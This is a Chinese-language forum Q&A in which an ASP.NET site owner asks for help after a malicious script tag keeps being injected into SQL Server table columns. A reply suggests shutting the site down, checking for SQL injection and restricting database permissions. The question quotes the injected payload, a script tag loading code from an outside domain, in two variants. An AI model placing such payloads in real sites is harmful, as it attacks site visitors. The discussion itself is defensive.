ASP.NET网站上的XSS攻击

Question

我遇到了很大麻烦.请帮忙!!!!!!!!!!

我的网站遭到了一些恶意脚本的攻击</ title> <script src = http:// google-stats50.info/ur.php>.此脚本会自动附加到某个表的任何列.我删除了这个脚本.但几个小时后,它又重新出现在一些表格中.但这一次是</ title> <script src = http:// google-stats49.info/ur.php>.

我的客户抱怨脚本.使用的技术是ASP.NET 1.1,SQL SERVER 2005.

请帮忙.

提前致谢!!!!!!

Answer 1

关闭该网站。您的服务器现在可能会也​​可能不会被搞砸。

您必须找出更改来自哪里 - 数据库还是文件系统

如果是数据库，那么你可能没问题，有人可能正在使用 sql 注入。设置权限，以便在找到 SQL 注入点之前，站点暂时无法更新数据库。

如果这是您的文件系统，那么您可能需要清除并重置该站点。它们就在里面，你无法摆脱它们。找到你的切入点，但这会很困难。